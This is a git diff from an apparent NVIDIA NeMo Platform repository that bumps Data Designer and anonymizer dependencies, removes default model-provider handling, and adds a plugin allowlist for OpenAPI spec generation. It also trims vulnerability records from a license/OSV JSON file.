diff --git a/.github/wheel-constraints/nemo-platform-services.txt b/.github/wheel-constraints/nemo-platform-services.txt index a779d6db9d..c1a3ede5c5 100644 --- a/.github/wheel-constraints/nemo-platform-services.txt +++ b/.github/wheel-constraints/nemo-platform-services.txt @@ -17,7 +17,7 @@ boto3==1.40.61 botocore==1.40.61 clickhouse-connect==0.15.1 cloudpickle==3.1.2 -data-designer==0.6.1 +data-designer==0.7.0 datasets==4.3.0 distro==1.9.0 docker==7.2.0 @@ -42,7 +42,7 @@ langchain-openai==1.3.5 langchain==1.3.13 lark==1.3.1 litellm<1.92 # 1.92.0 native build has no py3.14 wheel -nemo-anonymizer==0.2.1 +nemo-anonymizer==0.3.0 nemo-safe-synthesizer==0.1.7 nemoguardrails==0.23.0 ngcsdk==4.20.1 diff --git a/docs/data-designer/index.mdx b/docs/data-designer/index.mdx index 5b734ff691..b49eb2debe 100644 --- a/docs/data-designer/index.mdx +++ b/docs/data-designer/index.mdx @@ -10,7 +10,7 @@ Data Designer on NeMo Platform enables high-quality synthetic data generation th Data Designer is a framework for orchestrating complex synthetic data generation workflows. It coordinates LLM calls, manages dependencies between data fields, handles batching and parallelization, and validates generated data against specifications. -The plugin is built on the open-source [NVIDIA NeMo Data Designer library](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/getting-started/welcome) ([GitHub](https://github.com/NVIDIA-NeMo/DataDesigner)). The library provides the configuration and generation engine; the plugin provides CLI, SDK, Data Designer API, Jobs, Files API, Secrets API, and Inference Gateway API integration. +The plugin is built on the open-source [NVIDIA NeMo Data Designer library](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/getting-started/welcome) ([GitHub](https://github.com/NVIDIA-NeMo/DataDesigner)). The library provides the configuration and generation engine; the plugin provides CLI, SDK, Data Designer API, Jobs, Files API, Secrets API, and Inference Gateway API integration. ## How It Works @@ -46,7 +46,7 @@ config_builder.add_column(dd.LLMTextColumnConfig(...)) Configuration code describes the dataset schema, columns, dependencies, constraints, seed data, processors, profilers, and inference settings. -**Learn more**: See the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/getting-started/welcome) for comprehensive guides on column types, samplers, constraints, and advanced features. +**Learn more**: See the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/getting-started/welcome) for comprehensive guides on column types, samplers, constraints, and advanced features. ### 2. Choose Where to Execute @@ -99,7 +99,7 @@ Learn through examples: basics, seeding, and more. Move configurations between local CLI and NeMo Services execution. - + Comprehensive guides on column types, constraints, and advanced features. diff --git a/docs/data-designer/migration.mdx b/docs/data-designer/migration.mdx index 4d3b6e2bec..0ab1be8087 100644 --- a/docs/data-designer/migration.mdx +++ b/docs/data-designer/migration.mdx @@ -83,4 +83,4 @@ Before switching execution modes, verify: - **Execution Modes:** See [Execution Modes](/documentation/design-synthetic-data/execution-modes) for the conceptual model. - **CLI:** See [Data Designer CLI](/documentation/design-synthetic-data/cli) for `run`, `submit`, and persona commands. - **Tutorials:** Follow the [tutorials](/documentation/design-synthetic-data/tutorials) for hands-on examples. -- **Library Docs:** Refer to the [open-source library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/getting-started/welcome) for configuration details. +- **Library Docs:** Refer to the [open-source library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/getting-started/welcome) for configuration details. diff --git a/docs/data-designer/tutorials/basics.mdx b/docs/data-designer/tutorials/basics.mdx index e6f8bfe46d..69abb33eba 100644 --- a/docs/data-designer/tutorials/basics.mdx +++ b/docs/data-designer/tutorials/basics.mdx @@ -6,7 +6,7 @@ description: "" This tutorial demonstrates the fundamentals of Data Designer by generating a product review dataset. -For more detail about column behavior, see the [open-source library's version](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/tutorials/the-basics) of this tutorial. +For more detail about column behavior, see the [open-source library's version](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/tutorials/the-basics) of this tutorial. ## Prerequisites @@ -47,7 +47,7 @@ config_builder = dd.DataDesignerConfigBuilder(model_configs) ### Add Columns -Define the columns for your dataset. The [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/tutorials/the-basics) explains these column types in detail. +Define the columns for your dataset. The [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/tutorials/the-basics) explains these column types in detail. ```python @@ -305,5 +305,5 @@ When you use CLI `submit` or the SDK today: - **Seed data:** Learn how to use external datasets in the [seeding tutorial](/documentation/design-synthetic-data/tutorials/seeding-with-external-datasets) - **Execution modes:** Learn more about local and NeMo Services execution in [Execution Modes](/documentation/design-synthetic-data/execution-modes) -- **Column types:** Explore all available column types in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/concepts/columns) -- **Advanced features:** Learn about [processors](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/concepts/processors) and [validation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/concepts/validators) +- **Column types:** Explore all available column types in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/concepts/columns) +- **Advanced features:** Learn about [processors](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/concepts/processors) and [validation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/concepts/validators) diff --git a/docs/data-designer/tutorials/index.mdx b/docs/data-designer/tutorials/index.mdx index 9c7f6bffa7..7810d5b5ae 100644 --- a/docs/data-designer/tutorials/index.mdx +++ b/docs/data-designer/tutorials/index.mdx @@ -18,7 +18,7 @@ Data Designer separates **configuration** (building dataset schemas) from **exec **Part 1: Build Configs (Library)** -Use `data_designer.config` to define your dataset. See the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/getting-started/welcome) for comprehensive guides on column types, constraints, and processors. +Use `data_designer.config` to define your dataset. See the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/getting-started/welcome) for comprehensive guides on column types, constraints, and processors. ```python import data_designer.config as dd diff --git a/docs/data-designer/tutorials/seeding.mdx b/docs/data-designer/tutorials/seeding.mdx index 38c4ba3b3a..c5bbb38dad 100644 --- a/docs/data-designer/tutorials/seeding.mdx +++ b/docs/data-designer/tutorials/seeding.mdx @@ -6,7 +6,7 @@ description: "" This tutorial demonstrates how to use external datasets as seed data for synthetic data generation in Data Designer. -For more detail about seed dataset behavior, see the [open-source library's version](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/tutorials/seeding-with-an-external-dataset) of this tutorial. +For more detail about seed dataset behavior, see the [open-source library's version](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/tutorials/seeding-with-an-external-dataset) of this tutorial. ## Seed Sources by Execution Mode @@ -344,5 +344,5 @@ When you configure a seed dataset: ## Next Steps - **Execution modes:** Learn more about local and NeMo Services execution in [Execution Modes](/documentation/design-synthetic-data/execution-modes) -- **Column types:** Explore all available column types in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/concepts/columns) -- **Processors:** Transform your data with processors in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.6.1/concepts/processors) +- **Column types:** Explore all available column types in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/concepts/columns) +- **Processors:** Transform your data with processors in the [library documentation](https://docs.nvidia.com/nemo/datadesigner/v0.7.0/concepts/processors) diff --git a/packages/data_designer_nemo/pyproject.toml b/packages/data_designer_nemo/pyproject.toml index e97e803347..38ea336e97 100644 --- a/packages/data_designer_nemo/pyproject.toml +++ b/packages/data_designer_nemo/pyproject.toml @@ -6,7 +6,7 @@ requires-python = ">=3.11,<3.15" authors = [{ name = "NVIDIA", email = "nemo@nvidia.com" }] dependencies = [ "nemo-platform", - "data-designer==0.6.1", + "data-designer==0.7.0", "anyio>=4.0", "duckdb", "pydantic>=2", diff --git a/packages/data_designer_nemo/src/data_designer_nemo/model_provider.py b/packages/data_designer_nemo/src/data_designer_nemo/model_provider.py index 380bd045c6..c0d6947f9d 100644 --- a/packages/data_designer_nemo/src/data_designer_nemo/model_provider.py +++ b/packages/data_designer_nemo/src/data_designer_nemo/model_provider.py @@ -54,7 +54,6 @@ def make_null_registry() -> ModelProviderRegistry: # is semantically valid. The library requires a non-empty ModelProviderRegistry, so in this scenario # we can provide this dummy null registry. return ModelProviderRegistry( - default=_NO_OP, providers=[make_noop_provider()], ) @@ -74,12 +73,6 @@ async def make_local_first_model_provider_registry( if len(model_configs) == 0: return None - missing_providers = [model_config for model_config in model_configs if model_config.provider is None] - if len(missing_providers) > 0: - raise NDDInvalidConfigError( - f"Error: following model configs do not have an explicit provider defined: {missing_providers}" - ) - logger.info("Building model provider registry. First checking locally-defined providers.") local_registry = _make_local_model_provider_registry() @@ -118,10 +111,7 @@ async def make_local_first_model_provider_registry( all_providers = local_providers + igw_registry.providers - return ModelProviderRegistry( - default=all_providers[0].name, - providers=all_providers, - ) + return ModelProviderRegistry(providers=all_providers) async def _get_igw_model_provider_registry( @@ -249,11 +239,7 @@ def get_model_provider_registry(self) -> ModelProviderRegistry | None: if len(self.providers.values()) > 0: registry_providers = [providers_tuple[0] for providers_tuple in self.providers.values()] - default = registry_providers[0].name - return ModelProviderRegistry( - default=default, - providers=registry_providers, - ) + return ModelProviderRegistry(providers=registry_providers) async def make_model_provider_registry( diff --git a/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py b/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py index 866a5795a9..d26da6e441 100644 --- a/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py +++ b/packages/data_designer_nemo/tests/unit/test_fileset_file_seed_reader.py @@ -6,7 +6,6 @@ import pytest from data_designer_nemo.fileset_file_seed_reader import FilesetFileSeedReader, workspace_cvar from data_designer_nemo.fileset_file_seed_source import FilesetFileSeedSource -from nemo_platform_plugin.files.client import FilesClient def test_dataset_uri_with_workspace() -> None: @@ -40,18 +39,8 @@ def test_create_duckdb_connection_requires_injected_sdk() -> None: def test_create_duckdb_connection_uses_injected_sdk() -> None: sdk = Mock() conn = Mock() - mock_files_client = Mock() - - with ( - patch("data_designer_nemo.fileset_file_seed_reader.duckdb.connect", return_value=conn), - patch("data_designer_nemo.fileset_file_seed_reader.FilesetFileSystem") as fileset_file_system, - patch( - "data_designer_nemo.fileset_file_seed_reader.client_from_platform", - return_value=mock_files_client, - ) as mock_adapter, - ): + + with patch("data_designer_nemo.fileset_file_seed_reader.duckdb.connect", return_value=conn): assert FilesetFileSeedReader(sdk).create_duckdb_connection() is conn - mock_adapter.assert_called_once_with(sdk, FilesClient) - fileset_file_system.assert_called_once_with(client=mock_files_client) - conn.register_filesystem.assert_called_once_with(fileset_file_system.return_value) + conn.register_filesystem.assert_called_once_with(sdk.files.fsspec) diff --git a/packages/data_designer_nemo/tests/unit/test_model_configs.py b/packages/data_designer_nemo/tests/unit/test_model_configs.py index 4a00ecb02a..1b0cf502f7 100644 --- a/packages/data_designer_nemo/tests/unit/test_model_configs.py +++ b/packages/data_designer_nemo/tests/unit/test_model_configs.py @@ -11,6 +11,7 @@ def _make_model_config(alias: str) -> dd.ModelConfig: return dd.ModelConfig( alias=alias, model="nvidia/nemotron-3", + provider="default/nvidia", ) diff --git a/packages/nemo_platform/pyproject.toml b/packages/nemo_platform/pyproject.toml index d7bb978d9f..5ec44bf15f 100644 --- a/packages/nemo_platform/pyproject.toml +++ b/packages/nemo_platform/pyproject.toml @@ -87,7 +87,7 @@ core-service = [ # Generated from [tool.bundle-package]; do not edit by hand. data-designer-nemo = [ - "data-designer==0.6.1", + "data-designer==0.7.0", "anyio>=4.0", "duckdb", "pydantic>=2", @@ -242,8 +242,8 @@ nemo-agents-plugin = [ # Generated from [tool.bundle-package]; do not edit by hand. nemo-anonymizer-plugin = [ "nemo-platform-plugin", - "nemo-anonymizer>=0.2.1", - "data-designer==0.6.1", + "nemo-anonymizer>=0.3.0", + "data-designer==0.7.0", "data-designer-nemo", "httpx>=0.27", "fastapi", @@ -264,7 +264,7 @@ nemo-auditor-plugin = [ # Generated from [tool.bundle-package]; do not edit by hand. nemo-data-designer-plugin = [ "nemo-platform-plugin", - "data-designer==0.6.1", + "data-designer==0.7.0", "data-designer-nemo", "httpx>=0.27", "fastapi", diff --git a/plugins/nemo-anonymizer/pyproject.toml b/plugins/nemo-anonymizer/pyproject.toml index 8aa8ed751f..9d9c2babca 100644 --- a/plugins/nemo-anonymizer/pyproject.toml +++ b/plugins/nemo-anonymizer/pyproject.toml @@ -7,8 +7,8 @@ authors = [{ name = "NVIDIA", email = "nemo@nvidia.com" }] dependencies = [ "nemo-platform-plugin", "nemo-platform", - "nemo-anonymizer>=0.2.1", - "data-designer==0.6.1", + "nemo-anonymizer>=0.3.0", + "data-designer==0.7.0", "data-designer-nemo", "httpx>=0.27", "fastapi", diff --git a/plugins/nemo-anonymizer/tests/unit/test_run_job.py b/plugins/nemo-anonymizer/tests/unit/test_run_job.py index fa15c02dcf..a5719acb7d 100644 --- a/plugins/nemo-anonymizer/tests/unit/test_run_job.py +++ b/plugins/nemo-anonymizer/tests/unit/test_run_job.py @@ -143,6 +143,7 @@ async def test_run_local_allows_missing_model_configs( is_local=True, ) + assert isinstance(step_config, AnonymizerStepConfig) assert step_config.model_configs_yaml == "" assert step_config.dd_model_providers == [] round_tripped = AnonymizerStepConfig.model_validate(step_config.model_dump()) @@ -157,7 +158,6 @@ async def test_run_local_model_configs_uses_injected_async_sdk( csv = tmp_path / "input.csv" csv.write_text("text\nhello\n") local_first_registry = ModelProviderRegistry( - default="local-provider", providers=[NDDModelProvider(name="local-provider", endpoint="http://localhost:8000")], ) local_first_lookup = AsyncMock(return_value=local_first_registry) @@ -179,7 +179,9 @@ async def test_run_local_model_configs_uses_injected_async_sdk( ) local_first_lookup.assert_awaited_once() + assert local_first_lookup.await_args is not None assert local_first_lookup.await_args.kwargs["sdk"] is async_sdk + assert isinstance(step_config, AnonymizerStepConfig) assert len(step_config.dd_model_providers) == 1 assert step_config.dd_model_providers[0]["name"] == "local-provider" diff --git a/plugins/nemo-data-designer/openapi/openapi.yaml b/plugins/nemo-data-designer/openapi/openapi.yaml index 2102957437..7a70bee8d4 100644 --- a/plugins/nemo-data-designer/openapi/openapi.yaml +++ b/plugins/nemo-data-designer/openapi/openapi.yaml @@ -910,10 +910,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: custom @@ -1225,10 +1221,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: embedding @@ -1314,10 +1306,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: expression @@ -1506,10 +1494,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: image @@ -1697,10 +1681,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: llm-code @@ -1804,10 +1784,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: llm-judge @@ -1913,10 +1889,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: llm-structured @@ -2021,10 +1993,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: llm-text @@ -2236,8 +2204,8 @@ components: embedding: '#/components/schemas/EmbeddingInferenceParams' image: '#/components/schemas/ImageInferenceParams' provider: - title: Provider type: string + title: Provider skip_health_check: type: boolean title: Skip Health Check @@ -2247,6 +2215,7 @@ components: required: - alias - model + - provider title: ModelConfig description: "Configuration for a model used for generation.\n\nAttributes:\n\ \ alias: User-defined alias to reference in column configurations.\n \ @@ -2254,11 +2223,9 @@ components: \ inference_parameters: Inference parameters for the model (temperature,\ \ top_p, max_tokens, etc.).\n The generation_type is determined by\ \ the type of inference_parameters.\n provider: Name of the model provider.\ - \ Required in a future release. Leaving\n ``provider`` unset (or ``None``)\ - \ currently routes through the registry's\n implicit default and is\ - \ **deprecated**; specify ``provider=`` explicitly.\n See issue #589.\n\ - \ skip_health_check: Whether to skip the health check for this model. Defaults\ - \ to False." + \ Must match the ``name`` field of a\n ``ModelProvider`` registered\ + \ with the surrounding ``DataDesigner`` instance.\n skip_health_check:\ + \ Whether to skip the health check for this model. Defaults to False." ModelProvider: properties: name: @@ -2847,10 +2814,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: sampler @@ -3237,10 +3200,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: seed-dataset @@ -3591,10 +3550,6 @@ components: type: boolean title: Drop default: false - allow_resize: - type: boolean - title: Allow Resize - default: false column_type: type: string const: validation diff --git a/plugins/nemo-data-designer/pyproject.toml b/plugins/nemo-data-designer/pyproject.toml index be318f1cbe..5b39d4fa6f 100644 --- a/plugins/nemo-data-designer/pyproject.toml +++ b/plugins/nemo-data-designer/pyproject.toml @@ -7,7 +7,7 @@ authors = [{ name = "NVIDIA", email = "nemo@nvidia.com" }] dependencies = [ "nemo-platform-plugin", "nemo-platform", - "data-designer==0.6.1", + "data-designer==0.7.0", "data-designer-nemo", "httpx>=0.27", "fastapi", @@ -47,7 +47,7 @@ test = [ # Generated from [tool.bundle-package]; do not edit by hand. data-designer-nemo = [ - "data-designer==0.6.1", + "data-designer==0.7.0", "anyio>=4.0", "duckdb", "pydantic>=2", @@ -97,4 +97,4 @@ nemo-platform-plugin = { source = "../../packages/nemo_platform_plugin/src/nemo_ # Opt this plugin into OpenAPI spec generation [tool.nemo.openapi] - +data_designer_plugin_allowlist = ["fileset-seed-datasets"] diff --git a/plugins/nemo-data-designer/tests/integration/test_remote_validation_errors.py b/plugins/nemo-data-designer/tests/integration/test_remote_validation_errors.py index 1b6cd1a059..6bf6a80f45 100644 --- a/plugins/nemo-data-designer/tests/integration/test_remote_validation_errors.py +++ b/plugins/nemo-data-designer/tests/integration/test_remote_validation_errors.py @@ -52,16 +52,6 @@ def test_unknown_provider_in_request() -> None: _assert_error(dd_client, builder, ["Cannot access provider", unknown_provider]) -def test_model_config_without_explicit_provider_is_rejected() -> None: - alias = "no-provider-specified" - bad_model_config = dd.ModelConfig(alias=alias, model="some-model") - builder = _builder_with_llm_column(bad_model_config) - - with u.make_mock_client_context() as client_context: - dd_client = u.make_dd_client(client_context) - _assert_error(dd_client, builder, ["does not have an explicit provider defined", alias]) - - def test_malformed_provider_reference_is_rejected() -> None: alias = "too-many-slashes" malformed_provider_name = "foo/bar/baz" diff --git a/plugins/nemo-data-designer/tests/unit/test_model_provider.py b/plugins/nemo-data-designer/tests/unit/test_model_provider.py index 4a0b8449eb..e27c3fb479 100644 --- a/plugins/nemo-data-designer/tests/unit/test_model_provider.py +++ b/plugins/nemo-data-designer/tests/unit/test_model_provider.py @@ -1,41 +1,14 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -from unittest.mock import patch - -import data_designer.config as dd import nemo_data_designer_plugin.testing.utils as u import pytest -from data_designer_nemo.errors import NDDInvalidConfigError from data_designer_nemo.model_provider import ( - make_local_first_model_provider_registry, make_model_provider_registry, make_null_registry, ) -@pytest.mark.asyncio -async def test_local_first_provider_cannot_be_none() -> None: - """When a local-first registry build sees a missing provider, it must fail fast - *before* hitting the local-provider lookup helper. - """ - bad_model_configs = [dd.ModelConfig(alias="no-provider-specified", model="some-model")] - - with u.make_mock_client_context() as client_context: - with ( - patch("data_designer_nemo.model_provider.get_default_providers") as default_lookup, - pytest.raises(NDDInvalidConfigError) as exc_info, - ): - await make_local_first_model_provider_registry( - bad_model_configs, - sdk=client_context.async_sdk, - default_workspace=u.WORKSPACE_NAME, - ) - - default_lookup.assert_not_called() - assert "explicit provider defined" in str(exc_info.value) - - @pytest.mark.asyncio async def test_no_model_configs_returns_none() -> None: """``make_model_provider_registry`` returns None for an empty model-config list, @@ -55,4 +28,3 @@ def test_null_registry() -> None: registry = make_null_registry() assert len(registry.providers) == 1 - assert registry.default == "no-op" diff --git a/plugins/nemo-data-designer/tests/unit/test_preview_function.py b/plugins/nemo-data-designer/tests/unit/test_preview_function.py index ae3d5f0a56..ed4f59c6cd 100644 --- a/plugins/nemo-data-designer/tests/unit/test_preview_function.py +++ b/plugins/nemo-data-designer/tests/unit/test_preview_function.py @@ -24,7 +24,9 @@ def _config() -> dd.DataDesignerConfig: - builder = dd.DataDesignerConfigBuilder(model_configs=[dd.ModelConfig(alias="text", model="model")]) + builder = dd.DataDesignerConfigBuilder( + model_configs=[dd.ModelConfig(alias="text", model="model", provider="default/nvidia")] + ) builder.add_column( column_config=dd.SamplerColumnConfig( name="foo", diff --git a/plugins/nemo-data-designer/tests/unit/test_sdk_resources.py b/plugins/nemo-data-designer/tests/unit/test_sdk_resources.py index c07ea9b5ba..0afcad4027 100644 --- a/plugins/nemo-data-designer/tests/unit/test_sdk_resources.py +++ b/plugins/nemo-data-designer/tests/unit/test_sdk_resources.py @@ -71,7 +71,9 @@ def async_resource(async_platform: AsyncNeMoPlatform) -> AsyncDataDesignerResour @pytest.fixture def config_builder() -> dd.DataDesignerConfigBuilder: - builder = dd.DataDesignerConfigBuilder(model_configs=[dd.ModelConfig(alias="text", model="model")]) + builder = dd.DataDesignerConfigBuilder( + model_configs=[dd.ModelConfig(alias="text", model="model", provider="default/nvidia")] + ) builder.add_column( column_config=dd.SamplerColumnConfig( name="foo", diff --git a/pytest.ini b/pytest.ini index bf7f15fbf4..c8c7f99505 100644 --- a/pytest.ini +++ b/pytest.ini @@ -27,7 +27,7 @@ testpaths = packages/nemo_platform_plugin/tests packages/nmp_platform/tests plugins/*/tests - packages/data_designer_sdk/tests + packages/data_designer_nemo/tests packages/models/tests packages/nemo_evaluator_sdk/tests packages/nemo_platform_ext/tests diff --git a/script/generate_openapi_spec.py b/script/generate_openapi_spec.py index 2700438b70..d832843511 100644 --- a/script/generate_openapi_spec.py +++ b/script/generate_openapi_spec.py @@ -3,6 +3,8 @@ # SPDX-License-Identifier: Apache-2.0 import argparse +import contextlib +import importlib.metadata import inspect import json import os @@ -323,6 +325,38 @@ def extract_openapi_specs_auto(services: List[ServiceConfig]) -> None: extract_openapi_specs_sequential(services) +@contextlib.contextmanager +def data_designer_plugin_allowlist(plugin_names: List[str] | None): + """Limit Data Designer plugin discovery while generating one plugin OpenAPI spec. + + Data Designer builds config unions at import time from the global + ``data_designer.plugins`` entry-point group. In the monorepo, unrelated + installed packages can contribute Data Designer plugins, which can leak into + another plugin's OpenAPI schema. Scope discovery to the plugins explicitly + needed by the spec being generated. + """ + + if plugin_names is None: + yield + return + + allowed = set(plugin_names) + original_entry_points = importlib.metadata.entry_points + + def scoped_entry_points(*args, **kwargs): + result = original_entry_points(*args, **kwargs) + group = kwargs.get("group") + if group == "data_designer.plugins": + return [entry_point for entry_point in result if entry_point.name in allowed] + return result + + importlib.metadata.entry_points = scoped_entry_points + try: + yield + finally: + importlib.metadata.entry_points = original_entry_points + + def extract_plugin_openapi_spec(plugin: PluginConfig) -> tuple[str, bool, str]: """Extract a single plugin's OpenAPI spec via the convention loader. @@ -347,33 +381,8 @@ def extract_plugin_openapi_spec(plugin: PluginConfig) -> tuple[str, bool, str]: os.environ[key] = value try: - if plugin.factory_override: - print_verbose(f"importing plugin app from {plugin.factory_override}") - app = import_from_string(plugin.factory_override) - if hasattr(app, "app"): - app = app.app - if inspect.isfunction(app): - app = app() - else: - from .openapi_helper.plugin_loader import build_plugin_app - - service_name = plugin.resolve_service_name() - print_verbose(f"building plugin app for nemo.services entry '{service_name}'") - app = build_plugin_app(service_name) - - openapi = app.openapi() - openapi = register_query_param_schemas(openapi) - version = openapi.get("openapi", "unknown version") - print_verbose(f"writing plugin openapi spec v{version}") - - output_path = plugin.output_path() - os.makedirs(os.path.dirname(output_path), exist_ok=True) - with open(output_path, "w", encoding="utf-8") as f: - f.write("# This file is generated by extract-openapi.py and should not be changed by hand.\n") - yaml.dump(openapi, f, sort_keys=False) - - print_verbose(f"plugin spec written to {output_path}") - return plugin.dir, True, "" + with data_designer_plugin_allowlist(plugin.data_designer_plugin_allowlist): + return _extract_plugin_openapi_spec(plugin) finally: for key, old_value in old_env.items(): @@ -388,6 +397,36 @@ def extract_plugin_openapi_spec(plugin: PluginConfig) -> tuple[str, bool, str]: return plugin.dir, False, error_msg +def _extract_plugin_openapi_spec(plugin: PluginConfig) -> tuple[str, bool, str]: + if plugin.factory_override: + print_verbose(f"importing plugin app from {plugin.factory_override}") + app = import_from_string(plugin.factory_override) + if hasattr(app, "app"): + app = app.app + if inspect.isfunction(app): + app = app() + else: + from .openapi_helper.plugin_loader import build_plugin_app + + service_name = plugin.resolve_service_name() + print_verbose(f"building plugin app for nemo.services entry '{service_name}'") + app = build_plugin_app(service_name) + + openapi = app.openapi() + openapi = register_query_param_schemas(openapi) + version = openapi.get("openapi", "unknown version") + print_verbose(f"writing plugin openapi spec v{version}") + + output_path = plugin.output_path() + os.makedirs(os.path.dirname(output_path), exist_ok=True) + with open(output_path, "w", encoding="utf-8") as f: + f.write("# This file is generated by extract-openapi.py and should not be changed by hand.\n") + yaml.dump(openapi, f, sort_keys=False) + + print_verbose(f"plugin spec written to {output_path}") + return plugin.dir, True, "" + + def extract_plugin_specs_with_process_pool(plugins: List[PluginConfig]) -> None: """Extract OpenAPI specs for plugins via isolated subprocesses. diff --git a/script/openapi_helper/plugin_config.py b/script/openapi_helper/plugin_config.py index 1ba869f3bf..79bc312412 100644 --- a/script/openapi_helper/plugin_config.py +++ b/script/openapi_helper/plugin_config.py @@ -21,6 +21,7 @@ class PluginConfig: service_name: Optional[str] = None env_vars: Optional[Dict[str, str]] = None factory_override: Optional[str] = None # "module:callable" escape hatch + data_designer_plugin_allowlist: Optional[List[str]] = None @classmethod def from_pyproject(cls, pyproject_path: Path) -> Optional["PluginConfig"]: @@ -40,12 +41,21 @@ def from_pyproject(cls, pyproject_path: Path) -> Optional["PluginConfig"]: env_vars = opts.get("env_vars") if env_vars is not None and not isinstance(env_vars, dict): raise ValueError(f"plugin '{plugin_dir}': [tool.nemo.openapi].env_vars must be a table") + data_designer_plugin_allowlist = opts.get("data_designer_plugin_allowlist") + if data_designer_plugin_allowlist is not None and ( + not isinstance(data_designer_plugin_allowlist, list) + or not all(isinstance(item, str) for item in data_designer_plugin_allowlist) + ): + raise ValueError( + f"plugin '{plugin_dir}': [tool.nemo.openapi].data_designer_plugin_allowlist must be a list of strings" + ) return cls( dir=plugin_dir, service_name=opts.get("service_name"), env_vars=env_vars, factory_override=opts.get("factory_override"), + data_designer_plugin_allowlist=data_designer_plugin_allowlist, ) def resolve_service_name(self) -> str: diff --git a/tests/unit/test_plugin_openapi_config.py b/tests/unit/test_plugin_openapi_config.py index dd23ade626..b2b26f16bf 100644 --- a/tests/unit/test_plugin_openapi_config.py +++ b/tests/unit/test_plugin_openapi_config.py @@ -57,6 +57,7 @@ def test_from_pyproject_empty_table_uses_defaults(tmp_path): service_name=None, env_vars=None, factory_override=None, + data_designer_plugin_allowlist=None, ) @@ -71,6 +72,7 @@ def test_from_pyproject_reads_overrides(tmp_path): [tool.nemo.openapi] service_name = "svc-a" factory_override = "pkg.factories:make_app" + data_designer_plugin_allowlist = ["fileset-seed-datasets"] [tool.nemo.openapi.env_vars] FOO = "bar" @@ -83,6 +85,7 @@ def test_from_pyproject_reads_overrides(tmp_path): service_name="svc-a", env_vars={"FOO": "bar", "BAZ": "qux"}, factory_override="pkg.factories:make_app", + data_designer_plugin_allowlist=["fileset-seed-datasets"], ) @@ -101,6 +104,21 @@ def test_from_pyproject_rejects_non_table_env_vars(tmp_path): PluginConfig.from_pyproject(pyproject) +def test_from_pyproject_rejects_non_string_data_designer_plugin_allowlist(tmp_path): + pyproject = _write_pyproject( + tmp_path / "bad-dd-plugin-allowlist", + """ + [project.entry-points."nemo.services"] + svc = "pkg:S" + + [tool.nemo.openapi] + data_designer_plugin_allowlist = ["ok", 1] + """, + ) + with pytest.raises(ValueError, match="data_designer_plugin_allowlist must be a list of strings"): + PluginConfig.from_pyproject(pyproject) + + # ---- discover_plugins ----------------------------------------------------------- diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index 1666d902c7..b04338214e 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -68,4630 +68,9 @@ { "package": { "name": "aiohttp", - "version": "3.13.5", + "version": "3.14.1", "ecosystem": "PyPI" }, - "vulnerabilities": [ - { - "modified": "2026-06-27T11:15:05Z", - "published": "2026-06-22T18:16:46Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-237", - "aliases": [ - "CVE-2026-54275", - "GHSA-4m7w-qmgq-4wj5" - ], - "details": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, the server_hostname TLS SNI check can be bypassed when an existing connection is reused. If an application makes multiple requests to the same domain, but with different per-request server_hostname parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check. This vulnerability is fixed in 3.14.1.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - 